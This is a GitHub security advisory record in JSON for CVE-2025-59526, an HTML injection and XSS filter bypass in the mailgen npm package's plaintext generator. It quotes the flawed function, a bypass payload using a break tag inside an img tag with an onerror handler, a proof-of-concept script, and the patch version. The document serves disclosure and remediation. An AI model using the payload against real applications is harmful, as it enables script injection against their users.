{"id":"GHSA-j2xj-h7w5-r7vp","summary":"Mailgen: HTML injection vulnerability in plaintext e-mails","details":"# HTML Injection and XSS Filter Bypass in Plaintext Emails\n\n### Summary\nAn HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the `Mailgen.generatePlaintext(email);` method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).\n\n### Vulnerability Analysis\nThe following function (inside `index.js`) is intended to strip all HTML content to produce a plaintext string.\n\n```javascript\n// Plaintext text e-mail generator\nMailgen.prototype.generatePlaintext = function (params) {\n    // Plaintext theme not cached?\n    if (!this.cachedPlaintextTheme) {\n        throw new Error('An error was encountered while loading the plaintext theme.');\n    }\n   \n    // Parse email params and get back an object with data to inject\n    var ejsParams = this.parseParams(params);\n\n    // Render the plaintext theme with ejs, injecting the data accordingly\n    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);\n\n    // Definition of the \u003cbr /\u003e tag as a regex pattern\n    var breakTag = /(?:\\\u003cbr\\s*\\/?\\\u003e)/g;\n    var breakTagPattern = new RegExp(breakTag);\n\n    // Check the plaintext for html break tag, maintains backwards compatiblity\n    if (breakTagPattern.test(this.cachedPlaintextTheme)) {\n        // Strip all linebreaks from the rendered plaintext\n        output = output.replace(/(?:\\r\\n|\\r|\\n)/g, '');\n\n        // Replace html break tags with linebreaks\n        output = output.replace(breakTag, '\\n');\n\n        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)\n        output = output.replace(/^(?: |\\t)*/gm, \"\");\n    }\n\n    // Strip all HTML tags from plaintext output\n    output = output.replace(/\u003c.+?\u003e/g, '');\n\n    // Decode HTML entities such as &copy;\n    output = he.decode(output);\n\n    // All done!\n    return output;\n};\n```\n\nThe process fails because it first converts HTML break tags to newlines and then attempts to strip HTML tags with a regular expression. Using a break tag inside another HTML tag can deceive the filter, allowing HTML content to be injected into the email.\n\nA valid payload is: `\u003cimg\u003cbr\u003e src=xyz onerror=alert(1)\u003e`.\n\n### Proof of Concept\n\n```javascript\nvar Mailgen = require('mailgen');\n\nvar mailGenerator = new Mailgen({\n    theme: 'default',\n    product: {\n        name: 'Mailgen',\n        link: 'https://mailgen.js/'\n    }\n});\n\nvar email = {\n    body: {\n        name: 'John \u003cimg\u003cbr\u003e src=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed',\n        intro: 'Welcome to Mailgen! We\\'re very excited to have you on board.',\n        action: {\n            instructions: 'To get started with Mailgen, please click here:',\n            button: {\n                color: '#22BC66',\n                text: 'Confirm your account',\n                link: 'secret-link'\n            }\n        },\n        outro: 'Need help, or have questions? Just reply to this email, we\\'d love to help.'\n    }\n};\n\n// Generate the plaintext version of the e-mail\nvar emailText = mailGenerator.generatePlaintext(email);\n\n// Optionally, preview the generated plaintext e-mail\nrequire('fs').writeFileSync('emailText.txt', emailText, 'utf8');\n```\n\n**Resulting output file (`emailText.txt`):**\n\n```html\nHi John \u003cimg\nsrc=xyz onerror=alert(document.body.innerHTML)\u003e Appleseed,\n\nWelcome to Mailgen! We're very excited to have you on board.        \n\nTo get started with Mailgen, please click here:        \nsecret-link            \n\nNeed help, or have questions? Just reply to this email, we'd love to help.        \n\nYours truly,  \nMailgen\n\n© 2025 Mailgen. All rights reserved.\n```\n\n### Mitigation\nThe vulnerability has been patched in commit [741a019](https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d) and released to npm in version `2.0.30`.\n\nThanks to Edoardo Ottavianelli (@edoardottt) for discovering and reporting this vulnerability.","aliases":["CVE-2025-59526"],"modified":"2025-09-23T20:50:37Z","published":"2025-09-22T18:03:47Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-09-22T18:03:47Z","nvd_published_at":"2025-09-22T20:15:39Z","cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/eladnava/mailgen/security/advisories/GHSA-j2xj-h7w5-r7vp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59526"},{"type":"WEB","url":"https://github.com/eladnava/mailgen/commit/741a0190ddae0f408b22ae3b5f0f4c3f5cf4f11d"},{"type":"PACKAGE","url":"https://github.com/eladnava/mailgen"}],"affected":[{"package":{"name":"mailgen","ecosystem":"npm","purl":"pkg:npm/mailgen"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.30"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-j2xj-h7w5-r7vp/GHSA-j2xj-h7w5-r7vp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}